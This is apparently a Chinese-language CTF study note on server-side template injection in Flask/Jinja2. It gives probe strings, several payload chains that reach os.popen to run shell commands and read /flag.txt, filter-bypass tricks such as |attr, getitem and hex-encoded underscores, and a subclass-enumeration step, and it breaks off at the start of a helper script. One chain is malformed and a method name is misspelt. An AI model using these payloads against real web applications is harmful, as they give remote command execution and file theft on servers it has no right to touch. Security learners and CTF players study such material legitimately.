flask有个明显的特征就是服务器模板,把用户输入的回显到web页面,
一般在用户交互的地方(输入/输出),
这个要用python去构造链子去执行python命令,来getshell。
一般的注入是get型的
如{{7*7}},{%7*7%},{#7*7#},还有{%print(7*7)%}.
一般的链子
1
().__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
2
"".__class__.__base__.__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
3
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
4
lipsum.__globals.["os"].popen("").read()
flask里的lipsum方法,可以用于得到builtins,而且lipsum.globals含有os模块
globals 使用方式是 函数名.globals 获取function所处空间下可使用的module、方法以及所有变量。
这个注入就跟sql注入一样有许多的过滤
用之前要fuzz一下,用burp
|attr(”__class__”) == .__class__
[]用getitem绕过
_可以用十六进制编码 \x5F
还可以用unicode编码去绕过
用前两种链子
__subcalsses__()[?]的下标如何来的
{{()['__class__'].__bases__[0]['__subclasses__']()}}
获得内置类
用网上找的脚本把类替换一下,跑一下就可以
import json
classes="""
[